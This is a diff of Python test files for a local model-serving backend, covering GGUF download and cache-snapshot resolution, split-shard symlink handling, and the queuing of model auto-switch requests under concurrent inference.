+            return [_types.SimpleNamespace(path = p, size = 4) for p in paths if p]
+
+        def fake_download(
+            repo_id,
+            filename,
+            token = None,
+            **_kwargs,
+        ):
+            downloaded.append(filename)
+            return f"/fake/{repo_id}/{filename}"
+
+        with (
+            patch("huggingface_hub.list_repo_files", lambda *_a, **_k: files),
+            patch("huggingface_hub.get_paths_info", fake_get_paths_info),
+            patch("huggingface_hub.try_to_load_from_cache", lambda *_a, **_k: None),
+            patch("core.inference.llama_cpp.hf_hub_download_with_xet_fallback", fake_download),
+        ):
+            out = backend._download_gguf(hf_repo = repo, hf_variant = "Q4_K_M")
+
+        assert downloaded == files
+        assert out == f"/fake/{repo}/{files[0]}"
+
 
 def _siblings(items: dict[str, int]):
     """Mock ``hf_model_info(...).siblings`` payload."""
@@ -315,6 +598,21 @@ class TestIterHfCacheSnapshots:
         out = list(_iter_hf_cache_snapshots("unsloth/multi"))
         assert [p.name for p in out] == ["b" * 40, "a" * 40]
 
+    def test_skips_snapshot_when_mtime_is_unavailable(self, hf_cache, monkeypatch):
+        stale = _build_cache(hf_cache, "unsloth/multi", {"x.gguf": 1}, snapshot_sha = "a" * 40)
+        good = _build_cache(hf_cache, "unsloth/multi", {"y.gguf": 1}, snapshot_sha = "b" * 40)
+        original_stat = Path.stat
+
+        def flaky_stat(self, *args, **kwargs):
+            if self == stale:
+                raise FileNotFoundError(str(self))
+            return original_stat(self, *args, **kwargs)
+
+        monkeypatch.setattr(Path, "stat", flaky_stat)
+
+        out = list(_iter_hf_cache_snapshots("unsloth/multi"))
+        assert out == [good]
+
     def test_repo_id_match_is_case_insensitive(self, hf_cache):
         _build_cache(hf_cache, "unsloth/Foo-GGUF", {"Foo-Q4_K_M.gguf": 1})
         # Lookup with different org/name casing still resolves
@@ -347,6 +645,87 @@ class TestListGgufVariantsFromCache:
         assert _list_gguf_variants_from_hf_cache("unsloth/absent") is None
 
 
+class TestCachedColocatedSplitMain:
+    def test_prefers_older_complete_snapshot_over_newer_partial(self, hf_cache):
+        # Newer snapshot has only shard 1; older snapshot has the complete set. The
+        # complete older snapshot must win so the split GGUF can load co-located.
+        shard1 = "m-00001-of-00002.gguf"
+        shard2 = "m-00002-of-00002.gguf"
+        old = _build_cache(
+            hf_cache, "unsloth/split-GGUF", {shard1: 100, shard2: 100}, snapshot_sha = "a" * 40
+        )
+        new = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "b" * 40)
+        os.utime(old, (1000, 1000))
+        os.utime(new, (2000, 2000))
+
+        main = _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {})
+        assert main is not None
+        assert main.startswith(str(old))
+
+    def test_returns_none_when_shards_span_snapshots(self, hf_cache):
+        shard1 = "m-00001-of-00002.gguf"
+        shard2 = "m-00002-of-00002.gguf"
+        a = _build_cache(hf_cache, "unsloth/split-GGUF", {shard1: 100}, snapshot_sha = "a" * 40)
+        b = _build_cache(hf_cache, "unsloth/split-GGUF", {shard2: 100}, snapshot_sha = "b" * 40)
+        os.utime(a, (1000, 1000))
+        os.utime(b, (2000, 2000))
+
+        assert _cached_colocated_split_main("unsloth/split-GGUF", shard1, [shard2], {}) is None
+
+
+class TestResolveRepoIdCasing:
+    def test_maps_to_canonical_casing(self, monkeypatch):
+        monkeypatch.setattr(
+            "utils.paths.resolve_cached_repo_id_case",
+            lambda repo: "unsloth/Gemma-4-GGUF" if repo.lower() == "unsloth/gemma-4-gguf" else repo,
+        )
+        # A companion download passed the resolved id reads the same cache entry
+        # as the main GGUF instead of missing it under the requested casing.
+        assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/Gemma-4-GGUF"
+
+    def test_passthrough_on_resolver_error(self, monkeypatch):
+        def boom(_repo):
+            raise RuntimeError("resolver unavailable")
+
+        monkeypatch.setattr("utils.paths.resolve_cached_repo_id_case", boom)
+        assert _resolve_repo_id_casing("unsloth/gemma-4-gguf") == "unsloth/gemma-4-gguf"
+
+    def test_companion_only_newer_snapshot_does_not_shadow_real_variants(self, hf_cache):
+        # A newer snapshot holds only a vision projector fetched on demand,
+        # while the quant files live in an older snapshot. The newer snapshot
+        # must not shadow the real variants; the vision flag carries over.
+        old = _build_cache(
+            hf_cache,
+            "unsloth/vision-GGUF",
+            {"vision-Q4_K_M.gguf": 100},
+            snapshot_sha = "a" * 40,
+        )
+        new = _build_cache(
+            hf_cache,
+            "unsloth/vision-GGUF",
+            {"mmproj-vision-F16.gguf": 10},
+            snapshot_sha = "b" * 40,
+        )
+        os.utime(old, (1000, 1000))
+        os.utime(new, (2000, 2000))
+
+        out = _list_gguf_variants_from_hf_cache("unsloth/vision-GGUF")
+        assert out is not None
+        variants, has_vision = out
+        assert [v.quant for v in variants] == ["Q4_K_M"]
+        assert has_vision is True
+
+    def test_companion_only_cache_returns_empty_variants_with_vision(self, hf_cache):
+        # Only a vision projector is cached anywhere: report the vision flag
+        # with an empty variant list rather than None.
+        _build_cache(hf_cache, "unsloth/vision-GGUF", {"mmproj-vision-F16.gguf": 10})
+        out = _list_gguf_variants_from_hf_cache("unsloth/vision-GGUF")
+        assert out is not None
+        variants, has_vision = out
+        assert variants == []
+        assert has_vision is True
+
+
 class TestListGgufVariantsOffline:
     def test_offline_env_short_circuits_api(self, hf_cache, clean_offline_env, monkeypatch):
         _build_cache(hf_cache, "unsloth/a", {"a-UD-Q4_K_XL.gguf": 1})
@@ -571,7 +950,7 @@ class TestHfOfflineIfDnsDead:
             assert "HF_HUB_OFFLINE" not in os.environ
 
     def test_user_set_hf_hub_offline_is_preserved(self, dns, clean_offline_env, monkeypatch):
-        # User explicitly set offline before launching Studio.
+        # User explicitly set offline before launching Unsloth.
         monkeypatch.setenv("HF_HUB_OFFLINE", "1")
         dns.fail()
         with _hf_offline_if_dns_dead() as did_set:
@@ -758,7 +1137,7 @@ class TestListLocalGgufVariantsSubdir:
         target.write_bytes(b"\0" * 20)
 
         out = _find_local_gguf_by_variant(str(tmp_path), "Q4_K_M")
-        assert out == str(target.resolve())
+        assert out == str(target.absolute())
 
     def test_find_local_gguf_by_variant_skips_big_endian_only_match(self, tmp_path):
         from utils.models.model_config import _find_local_gguf_by_variant
@@ -768,6 +1147,57 @@ class TestListLocalGgufVariantsSubdir:
 
         assert _find_local_gguf_by_variant(str(tmp_path), "Q4_K_M") is None
 
+    def test_find_local_gguf_by_variant_keeps_split_symlink_name(self, tmp_path):
+        from utils.models.model_config import _find_local_gguf_by_variant
+
+        blobs = tmp_path / "blobs"
+        blobs.mkdir()
+        snap = tmp_path / "snapshots" / "rev" / "BF16"
+        snap.mkdir(parents = True)
+        (tmp_path / "snapshots" / "rev" / "config.json").write_text("{}")
+        for i, sha in enumerate(("aa" * 32, "bb" * 32), start = 1):
+            (blobs / sha).write_bytes(b"\0" * 10)
+            _symlink_or_skip(snap / f"model-BF16-0000{i}-of-00002.gguf", blobs / sha)
+
+        out = _find_local_gguf_by_variant(str(tmp_path / "snapshots" / "rev"), "BF16")
+        assert out is not None
+        assert Path(out).name == "model-BF16-00001-of-00002.gguf"
+
+    def test_detect_gguf_model_keeps_split_symlink_name(self, tmp_path):
+        from utils.models.model_config import detect_gguf_model
+
+        blobs = tmp_path / "blobs"
+        blobs.mkdir()
+        snap = tmp_path / "snapshots" / "rev"
+        snap.mkdir(parents = True)
+        for i, (sha, size) in enumerate((("cc" * 32, 10), ("dd" * 32, 20)), start = 1):
+            (blobs / sha).write_bytes(b"\0" * size)
+            _symlink_or_skip(snap / f"model-BF16-0000{i}-of-00002.gguf", blobs / sha)
+
+        out = detect_gguf_model(str(snap))
+        assert out is not None
+        assert Path(out).name == "model-BF16-00001-of-00002.gguf"
+
+    def test_lone_split_symlink_uses_colocated_target_shards(self, tmp_path):
+        from utils.models.model_config import _find_local_gguf_by_variant, detect_gguf_model
+
+        target_dir = tmp_path / "external" / "BF16"
+        target_dir.mkdir(parents = True)
+        target = target_dir / "model-BF16-00001-of-00002.gguf"
+        target.write_bytes(b"\0" * 10)
+        (target_dir / "model-BF16-00002-of-00002.gguf").write_bytes(b"\0" * 10)
+
+        local = tmp_path / "local"
+        local.mkdir()
+        (local / "config.json").write_text("{}")
+        link = local / target.name
+        _symlink_or_skip(link, target)
+
+        expected = str(target.absolute())
+        assert _find_local_gguf_by_variant(str(local), "BF16") == expected
+        assert detect_gguf_model(str(local)) == expected
+        assert detect_gguf_model(str(link)) == expected
+
     def test_model_config_variant_ignores_big_endian_sibling(self, tmp_path):
         from utils.models.model_config import ModelConfig
 
diff --git a/studio/backend/tests/test_offline_inference_parent.py b/studio/backend/tests/test_offline_inference_parent.py
index 71331220d6..bd0014ea64 100644
--- a/studio/backend/tests/test_offline_inference_parent.py
+++ b/studio/backend/tests/test_offline_inference_parent.py
@@ -139,7 +139,7 @@ class TestLoraDetectOffline:
 
         monkeypatch.setenv("HF_HUB_OFFLINE", "1")
 
-        # Studio catches Exception broadly; pin that the call still happens
+        # Unsloth catches Exception broadly; pin that the call still happens
         # (so cached LoRAs aren't missed) and returns fast via the mock.
         class _OfflineModeIsEnabled(Exception):
             pass
diff --git a/studio/backend/tests/test_openai_auto_switch.py b/studio/backend/tests/test_openai_auto_switch.py
index 7d2e2213b3..9c6c20e6b6 100644
--- a/studio/backend/tests/test_openai_auto_switch.py
+++ b/studio/backend/tests/test_openai_auto_switch.py
@@ -8,6 +8,7 @@ tests/test_gguf_completion_usage.py.
 """
 
 import asyncio
+import os
 
 import pytest
 
@@ -18,6 +19,10 @@ from utils import openai_auto_switch_settings as settings
 
 
 class _FakeBackend:
+    effective_parallel_slots = 1
+    _slot_save_binary = None
+    _gguf_path = None
+
     def __init__(
         self,
         loaded_id = None,
@@ -29,6 +34,22 @@ class _FakeBackend:
         self.hf_variant = hf_variant
         self._openai_advertised_id = advertised_id
 
+    def save_slots_for_resume(self, should_abort = None):
+        return None
+
+    def restore_slots_for_resume(self, manifest):
+        return None
+
+    def _slot_launch_fingerprint(self):
+        return ((), None, None, 1)
+
+    def _gguf_file_identity(self, path):
+        try:
+            st = os.stat(path)
+        except OSError:
+            return None
+        return ((st.st_size, st.st_mtime_ns),)
+
 
 class _LoadRecorder:
     """Stand-in for the load route: records calls and simulates a load."""
@@ -47,16 +68,27 @@ class _LoadRecorder:
         request,
         fastapi_request,
         current_subject = None,
+        *,
+        current_request_counted = False,
     ):
+        # Mirror the production load boundary before recording any replacement.
+        await inference_route._wait_for_model_switch_idle(
+            current_request_counted = current_request_counted
+        )
         self.calls.append(request)
         if self.fail:
             from fastapi import HTTPException
             raise HTTPException(status_code = 503, detail = "load failed")
         self.backend.model_identifier = request.model_path
+        self.backend.hf_variant = getattr(request, "gguf_variant", None)
+        self.backend._gguf_path = request.model_path
         self.backend.is_loaded = True
         # Mirror _load_model_impl: a load advertises its own id until the
         # auto-switch caller overwrites it with the repo id.
         self.backend._openai_advertised_id = None
+        from core.inference import llama_keepwarm as kw
+
+        kw.note_model_loaded(self.backend)
         return None
 
 
@@ -68,7 +100,6 @@ def _wire(monkeypatch, *, enabled, resolves_to, backend, recorder):
     # gate that auto-switch already owns, so it calls the impl directly).
     monkeypatch.setattr(inference_route, "_load_model_impl", recorder)
     monkeypatch.setattr(inference_route, "_auto_switch_waiters", {})
-    monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {})
 
 
 def _run_hook(model = "some/model"):
@@ -446,6 +477,75 @@ def test_idle_loop_unloads_after_ttl_and_stashes_for_reload(monkeypatch):
     assert stash is not None and stash[0] == "unsloth/Idle-GGUF" and stash[1] == "Q4_K_M"
 
 
+def test_idle_loop_deletes_saved_kv_when_unload_fails(monkeypatch, tmp_path):
+    import time
+    from core.inference import llama_keepwarm as kw
+
+    monkeypatch.setattr(settings, "get_auto_unload_idle_seconds", lambda: 0.005)
+    monkeypatch.setattr(settings, "get_auto_unload_keep_kv", lambda: True)
+    kw._inflight = 0
+    kw._pending = 0
+    kw._last_active = time.monotonic() - 3600
+    kw._last_unloaded_model = None
+    kw._kv_resume = None
+
+    saved = tmp_path / "resume-abc-slot0.bin"
+    backend = _FakeBackend("unsloth/Idle-GGUF")
+    manifests = []
+
+    def _save(should_abort = None):
+        if manifests:
+            return None
+        saved.write_bytes(b"kv")
+        manifest = {"dir": str(tmp_path), "slots": [{"id": 0, "filename": saved.name}]}
+        manifests.append(manifest)
+        return manifest
+
+    def _unload():
+        raise RuntimeError("cuda teardown failed")
+
+    backend.save_slots_for_resume = _save
+    backend.unload_model = _unload
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
+
+    async def _drive():
+        task = asyncio.create_task(kw.idle_unload_loop(poll_seconds = 0.01))
+        for _ in range(200):
+            await asyncio.sleep(0.01)
+            if manifests and not saved.exists():
+                break
+        task.cancel()
+        try:
+            await task
+        except asyncio.CancelledError:
+            pass
+
+    asyncio.run(_drive())
+    assert manifests and not saved.exists()
+    assert kw._kv_resume is None
+
+
+def test_disabling_idle_unload_purges_saved_kv(monkeypatch, tmp_path):
+    # PUT leaves keep-KV on but makes idle unload inactive: saved KV must go too.
+    import routes.settings as settings_route
+    from core.inference import llama_keepwarm as kw
+
+    saved = tmp_path / "resume-abc-slot0.bin"
+    saved.write_bytes(b"kv")
+    kw._kv_resume = {
+        "identity": ("m", None, "m"),
+        "dir": str(tmp_path),
+        "slots": [{"id": 0, "filename": saved.name}],
+    }
+    monkeypatch.setattr(settings_route, "set_openai_auto_switch", lambda *a: (False, 300, True))
+    monkeypatch.setattr(settings_route, "get_auto_unload_idle_seconds", lambda: 0)
+
+    payload = settings_route.OpenAIAutoSwitchPayload(enabled = False)
+    resp = settings_route.update_openai_auto_switch(payload, "tester")
+    assert resp.idle_unload_active is False and resp.auto_unload_keep_kv is True
+    assert kw._kv_resume is None and not saved.exists()
+
+
 def test_audio_generate_is_tracked_as_inference_path():
     # Direct GGUF TTS uses the llama backend and can outlive the idle TTL, so
     # the keep-warm middleware must count it as in-flight inference.
@@ -689,7 +789,7 @@ def test_v1_models_retrieve_is_case_insensitive(monkeypatch):
 
 def test_index_excludes_hidden_models(tmp_path, monkeypatch):
     # The llama.cpp validation probe and RAG embedding weights are hidden from
-    # Studio's pickers; they must never become auto-switch targets.
+    # Unsloth's pickers; they must never become auto-switch targets.
     from types import SimpleNamespace
     import routes.models as models_route
 
@@ -697,6 +797,10 @@ def test_index_excludes_hidden_models(tmp_path, monkeypatch):
     normal.write_bytes(b"x" * 32)
     probe = tmp_path / "stories260K.gguf"  # llama.cpp install-validation probe
     probe.write_bytes(b"x" * 32)
+    embedder = tmp_path / "embedding-Q8_0.gguf"
+    embedder.write_bytes(b"x" * 32)
+    local_default_embedder = tmp_path / "bge-small-en-v1.5-F16.gguf"
+    local_default_embedder.write_bytes(b"x" * 32)
 
     def _info(mid, path):
         return SimpleNamespace(id = mid, path = str(path), model_id = mid, display_name = mid)
@@ -704,7 +808,22 @@ def test_index_excludes_hidden_models(tmp_path, monkeypatch):
     monkeypatch.setattr(
         models_route,
         "_scan_models_dir",
-        lambda *a, **k: [_info("org/Normal-GGUF", normal), _info("ggml-org/models", probe)],
+        lambda *a, **k: [
+            _info("org/Normal-GGUF", normal),
+            _info("ggml-org/models", probe),
+            SimpleNamespace(
+                id = str(embedder),
+                path = str(embedder),
+                model_id = "unsloth/bge-small-en-v1.5-GGUF",
+                display_name = "embedding-Q8_0",
+            ),
+            SimpleNamespace(
+                id = str(local_default_embedder),
+                path = str(local_default_embedder),
+                model_id = None,
+                display_name = local_default_embedder.name,
+            ),
+        ],
     )
     monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: [])
     monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path)
@@ -713,6 +832,8 @@ def test_index_excludes_hidden_models(tmp_path, monkeypatch):
     index = resolver._index()
     assert "org/normal-gguf" in index  # keys are normalized to lowercase
     assert "ggml-org/models" not in index
+    assert "unsloth/bge-small-en-v1.5-gguf" not in index
+    assert str(local_default_embedder).lower() not in index
     # And the hidden probe cannot be auto-switched to by name.
     resolver._scan = (0.0, {})
     assert resolver.resolve_local_gguf("ggml-org/models") is None
@@ -975,6 +1096,7 @@ def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch
     from pathlib import Path
     import routes.models as models_route
     from utils import paths as upaths
+    from utils import hf_cache_settings
     import storage.studio_db as studio_db
 
     scanned = []
@@ -995,13 +1117,18 @@ def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch
     )
     monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path / "active")
     monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False)
+    monkeypatch.setattr(
+        hf_cache_settings,
+        "known_hf_hub_caches",
+        lambda: [tmp_path / "active", tmp_path / "previous"],
+    )
     monkeypatch.setattr(upaths, "legacy_hf_cache_dir", lambda: tmp_path / "legacy")
     monkeypatch.setattr(upaths, "hf_default_cache_dir", lambda: tmp_path / "default")
     monkeypatch.setattr(upaths, "lmstudio_model_dirs", lambda: [tmp_path / "lmstudio"])
     monkeypatch.setattr(
         studio_db, "list_scan_folders", lambda: [{"path": str(tmp_path / "custom")}]
     )
-    for sub in ("active", "legacy", "default", "lmstudio", "custom"):
+    for sub in ("active", "previous", "legacy", "default", "lmstudio", "custom"):
         (tmp_path / sub).mkdir()
 
     resolver._build_index()
@@ -1010,6 +1137,7 @@ def test_build_index_covers_legacy_default_lmstudio_and_custom_roots(monkeypatch
     lm = {p for k, p in scanned if k == "lm"}
     assert str((tmp_path / "legacy").resolve()) in hf
     assert str((tmp_path / "default").resolve()) in hf
+    assert str((tmp_path / "previous").resolve()) in hf
     assert str((tmp_path / "custom").resolve()) in hf
     assert str((tmp_path / "lmstudio").resolve()) in lm
 
@@ -1089,10 +1217,9 @@ def test_middleware_ignores_non_post(monkeypatch):
 # ── review round 4: swap guard, idle variant identity, load-by-path, stash clear ──
 
 
-def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch):
-    # A cross-model swap must 409 (not kill) while another inference request is in
-    # flight; the requesting call itself is excluded from the count.
-    from fastapi import HTTPException
+def test_auto_switch_waits_for_another_inference_to_finish(monkeypatch):
+    # A cross-model swap queues while another request is generating, then loads
+    # after that request drains. The requesting call itself is excluded.
     from core.inference import llama_keepwarm as kw
 
     backend = _FakeBackend("org/A-GGUF", hf_variant = "Q4_K_M")
@@ -1106,10 +1233,18 @@ def test_auto_switch_refuses_when_another_inference_is_active(monkeypatch):
     )
     monkeypatch.setattr(kw, "_inflight", 2)  # this request + another active one
     monkeypatch.setattr(kw, "_pending", 0)
-    with pytest.raises(HTTPException) as exc:
-        _run_hook("org/B-GGUF:Q8_0")
-    assert exc.value.status_code == 409
-    assert rec.calls == []
+
+    async def _drive():
+        task = asyncio.create_task(
+            inference_route._maybe_auto_switch_model("org/B-GGUF:Q8_0", object(), "tester")
+        )
+        await asyncio.sleep(0.05)
+        assert rec.calls == []
+        kw._note_end()  # the other generation finishes; this request remains counted
+        await asyncio.wait_for(task, timeout = 1)
+
+    asyncio.run(_drive())
+    assert len(rec.calls) == 1
 
 
 def test_auto_switch_swaps_when_only_caller_is_active(monkeypatch):
@@ -1295,13 +1430,12 @@ def test_concurrent_same_target_requests_load_once(monkeypatch):
     monkeypatch.setattr(kw, "_pending", 0)
     inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1)
     _run_hook("org/B-GGUF:Q8_0")
-    assert len(rec.calls) == 1  # loads once, no 409
+    assert len(rec.calls) == 1
 
 
-def test_swap_still_refused_when_other_request_targets_different_model(monkeypatch):
-    # A concurrent request heading to a different target still blocks the swap: the
-    # same-target exclusion must not swallow a genuinely conflicting request.
-    from fastapi import HTTPException
+def test_queued_different_target_does_not_deadlock_current_swap(monkeypatch):
+    # A concurrent request already queued for another target is not generating,
+    # so it must not prevent the current serialized swap from proceeding.
     from core.inference import llama_keepwarm as kw
 
     backend = _FakeBackend("org/A-GGUF")
@@ -1316,10 +1450,8 @@ def test_swap_still_refused_when_other_request_targets_different_model(monkeypat
     monkeypatch.setattr(kw, "_inflight", 2)
     monkeypatch.setattr(kw, "_pending", 0)
     inference_route._note_switch_waiter(inference_route._switch_key("org/C-GGUF", "Q4_K_M"), 1)
-    with pytest.raises(HTTPException) as exc:
-        _run_hook("org/B-GGUF:Q8_0")
-    assert exc.value.status_code == 409
-    assert rec.calls == []
+    _run_hook("org/B-GGUF:Q8_0")
+    assert len(rec.calls) == 1
 
 
 def test_v1_models_advertises_repo_id_not_load_path(monkeypatch):
@@ -1365,6 +1497,37 @@ def test_load_route_holds_lifecycle_gate(monkeypatch):
     assert "_load_model_impl" in src
 
 
+def test_model_replacements_recheck_sidecar_swap_before_either_backend_is_unloaded():
+    # Both replacement directions drain active inference, then recheck whether a
+    # sidecar install reserved the lifecycle gate during that wait. Exact-model
+    # reuse exits earlier, so an already-loaded model never waits on unrelated inference.
+    import inspect
+
+    src = inspect.getsource(inference_route._load_model_impl)
+    gguf_wait = src.index("await _wait_for_model_switch_idle", src.index("if config.is_gguf:"))
+    gguf_sidecar_check = src.index("_raise_if_sidecar_swap_in_progress()", gguf_wait)
+    unload_unsloth = src.index("unsloth_backend.unload_model", gguf_wait)
+    standard_wait = src.index("await _wait_for_model_switch_idle", gguf_wait + 1)
+    standard_sidecar_check = src.index("_raise_if_sidecar_swap_in_progress()", standard_wait)
+    unload_gguf = src.index("llama_backend.unload_model()", standard_wait)
+    already_loaded = src.index('status = "already_loaded"')
+
+    assert already_loaded < gguf_wait < gguf_sidecar_check < unload_unsloth
+    assert standard_wait < standard_sidecar_check < unload_gguf
+
+
+def test_switch_waiter_deregisters_before_swap_gate_release():
+    # A waiter left registered after the swap gate is released would let a swap on
+    # another event loop count the finished request as still queued, pass the drain
+    # early, and unload the model that request is about to generate against.
+    import inspect
+
+    src = inspect.getsource(inference_route._maybe_auto_switch_model)
+    deregister = src.index("_note_switch_waiter(key, -1)")
+    release = src.index("_auto_switch_process_lock.release()")
+    assert deregister < release
+
+
 def _anthropic_payload(max_tokens = None):
     from models.inference import AnthropicMessagesRequest, AnthropicMessage
     return AnthropicMessagesRequest(
@@ -1403,9 +1566,9 @@ def test_anthropic_400_when_auto_switch_on_and_max_tokens_missing(monkeypatch):
 # ── review round 6: concurrency ordering, external untrack, unload gate, ids ──
 
 
-def test_pending_same_target_request_does_not_force_409(monkeypatch):
+def test_pending_same_target_request_does_not_block_swap(monkeypatch):
     # A second same-target request blocked in the middleware (pending, not yet
-    # generating) must not make the first request 409: pending is excluded.
+    # generating) must not block the first request: pending is excluded.
     from core.inference import llama_keepwarm as kw
 
     backend = _FakeBackend("org/A-GGUF")
@@ -1420,13 +1583,13 @@ def test_pending_same_target_request_does_not_force_409(monkeypatch):
     monkeypatch.setattr(kw, "_inflight", 1)  # just the caller
     monkeypatch.setattr(kw, "_pending", 1)  # second request blocked in middleware
     _run_hook("org/B-GGUF:Q8_0")
-    assert len(rec.calls) == 1  # loads once, no 409
+    assert len(rec.calls) == 1
 
 
-def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypatch):
+def test_swap_waits_until_concurrent_request_finishes_resolving(monkeypatch):
     # The real middleware counts a concurrent same-model request as in-flight
-    # before it resolves and registers a target waiter. The raw-request waiter,
-    # registered before resolve, must still exclude it so the first request loads.
+    # before it resolves and registers a target waiter. Treat it as active until
+    # its target is known, then recognize it as another queued switch request.
     from core.inference import llama_keepwarm as kw
 
     backend = _FakeBackend("org/A-GGUF")
@@ -1440,10 +1603,20 @@ def test_concurrent_same_target_loads_once_while_other_still_resolving(monkeypat
     )
     monkeypatch.setattr(kw, "_inflight", 2)  # caller + a still-resolving twin
     monkeypatch.setattr(kw, "_pending", 0)
-    # The twin has only registered its raw requested model (not yet a target waiter).
-    inference_route._note_request_waiter(inference_route._request_waiter_key("org/B-GGUF:Q8_0"), 1)
-    _run_hook("org/B-GGUF:Q8_0")
-    assert len(rec.calls) == 1  # loads once, no 409
+    # The twin is still resolving, so it is counted in-flight but has not joined
+    # the concrete target queue yet.
+
+    async def _drive():
+        task = asyncio.create_task(
+            inference_route._maybe_auto_switch_model("org/B-GGUF:Q8_0", object(), "tester")
+        )
+        await asyncio.sleep(0.05)
+        assert rec.calls == []
+        inference_route._note_switch_waiter(inference_route._switch_key("org/B-GGUF", "Q8_0"), 1)
+        await asyncio.wait_for(task, timeout = 1)
+
+    asyncio.run(_drive())
+    assert len(rec.calls) == 1
 
 
 def test_external_untrack_decrements_inflight_and_is_idempotent():
@@ -1479,11 +1652,9 @@ def test_manual_unload_interrupts_even_while_inference_active(monkeypatch):
     assert not backend.is_loaded  # torn down despite the active request
 
 
-def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch):
+def test_auto_switch_waits_when_unsloth_stream_active(monkeypatch):
     # The GGUF slot is empty but an Unsloth model is streaming (counted in-flight).
-    # _load_model_impl would unload it, so auto-switch must 409, not only when a
-    # GGUF is loaded.
-    from fastapi import HTTPException
+    # The replacement waits for it just as it does for a GGUF generation.
     from core.inference import llama_keepwarm as kw
 
     backend = _FakeBackend(None)  # no GGUF loaded
@@ -1497,10 +1668,18 @@ def test_auto_switch_refuses_when_unsloth_stream_active(monkeypatch):
     )
     monkeypatch.setattr(kw, "_inflight", 2)  # an Unsloth stream + this request
     monkeypatch.setattr(kw, "_pending", 0)
-    with pytest.raises(HTTPException) as exc:
-        _run_hook("org/B-GGUF:Q8_0")
-    assert exc.value.status_code == 409
-    assert rec.calls == []  # the active Unsloth model is not torn down
+
+    async def _drive():
+        task = asyncio.create_task(
+            inference_route._maybe_auto_switch_model("org/B-GGUF:Q8_0", object(), "tester")
+        )
+        await asyncio.sleep(0.05)
+        assert rec.calls == []
+        kw._note_end()
+        await asyncio.wait_for(task, timeout = 1)
+
+    asyncio.run(_drive())
+    assert len(rec.calls) == 1
 
 
 def test_public_model_id_prefers_advertised_over_path():
@@ -1609,11 +1788,11 @@ def test_env_idle_ttl_standalone_when_no_stored_value(monkeypatch):
 def test_stored_idle_value_overrides_env_and_stays_gated(monkeypatch):
     # An explicit stored value wins over the env default and remains gated on the
     # auto-switch toggle.
-    store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 30}
+    store = {settings.AUTO_UNLOAD_IDLE_SETTING_KEY: 90}
     monkeypatch.setattr(settings, "_cached_setting", lambda k, d = None: store.get(k, d))
     monkeypatch.setenv("UNSLOTH_MODEL_IDLE_TTL", "600")
     monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
-    assert settings.get_auto_unload_idle_seconds() == 30  # stored wins, not env
+    assert settings.get_auto_unload_idle_seconds() == 90  # stored wins, not env
     monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
     assert settings.get_auto_unload_idle_seconds() == 0  # explicit value still gated off
 
@@ -1729,6 +1908,8 @@ def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch):
     # host path in /v1/models, yet the model stays resolvable by that path too.
     from types import SimpleNamespace
     import routes.models as models_route
+    from storage import studio_db
+    import utils.paths as paths
 
     gguf = tmp_path / "model-Q4_K_M.gguf"
     gguf.write_bytes(b"x" * 32)
@@ -1742,6 +1923,8 @@ def test_index_advertises_alias_not_filesystem_path(tmp_path, monkeypatch):
     monkeypatch.setattr(models_route, "_scan_hf_cache", lambda *a, **k: [])
     monkeypatch.setattr(models_route, "_resolve_hf_cache_dir", lambda: tmp_path)
     monkeypatch.setattr(models_route, "_is_hidden_model", lambda *a, **k: False)
+    monkeypatch.setattr(paths, "lmstudio_model_dirs", lambda: [])
+    monkeypatch.setattr(studio_db, "list_scan_folders", lambda: [])
     resolver._scan = (0.0, {})
 
     # The advertised id is the alias, never the absolute path.
@@ -2887,8 +3070,10 @@ def test_non_gguf_load_clears_reload_stash():
     # A non-GGUF (Transformers/Unsloth) load must clear the stash like the GGUF
     # branch, so it never lingers until the idle poll (or forever, idle-unload off).
     import inspect
+
     src = inspect.getsource(inference_route._load_model_impl)
-    assert src.count("note_model_loaded()") >= 2
+    assert src.count("note_model_loaded()") >= 1  # non-GGUF branch
+    assert "to_thread(note_model_loaded, llama_backend)" in src  # GGUF branch
 
 
 def test_chat_rejects_malformed_tool_choice_before_switch(monkeypatch):
@@ -2975,6 +3160,8 @@ def test_auto_switch_serializes_across_event_loops(monkeypatch):
         request,
         fastapi_request,
         current_subject = None,
+        *,
+        current_request_counted = False,
     ):
         with slock:
             state["cur"] += 1
@@ -2992,7 +3179,6 @@ def test_auto_switch_serializes_across_event_loops(monkeypatch):
     monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: backend)
     monkeypatch.setattr(inference_route, "_load_model_impl", _slow_load)
     monkeypatch.setattr(inference_route, "_auto_switch_waiters", {})
-    monkeypatch.setattr(inference_route, "_auto_switch_request_waiters", {})
 
     barrier = threading.Barrier(2)
 
@@ -3037,3 +3223,599 @@ def test_acquire_swap_gate_is_cancellation_safe():
         inference_route._auto_switch_process_lock.release()
 
     asyncio.run(asyncio.wait_for(main(), timeout = 5))
+
+
+def test_no_model_loaded_detail_appends_hint_only_when_off(monkeypatch):
+    # The "no model loaded" errors point at the opt-in auto-switch toggle so a
+    # request naming a listed-but-unloaded model is self-explanatory -- but only
+    # when it's off. With it on the name simply didn't resolve, so no hint.
+    base = "No GGUF model loaded. Load a GGUF model first."
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: False)
+    off = inference_route._no_model_loaded_detail(base)
+    assert off.startswith(base)
+    assert "Model auto-switch" in off and "Settings > API" in off
+
+    monkeypatch.setattr(settings, "get_openai_auto_switch_enabled", lambda: True)
+    assert inference_route._no_model_loaded_detail(base) == base
+
+
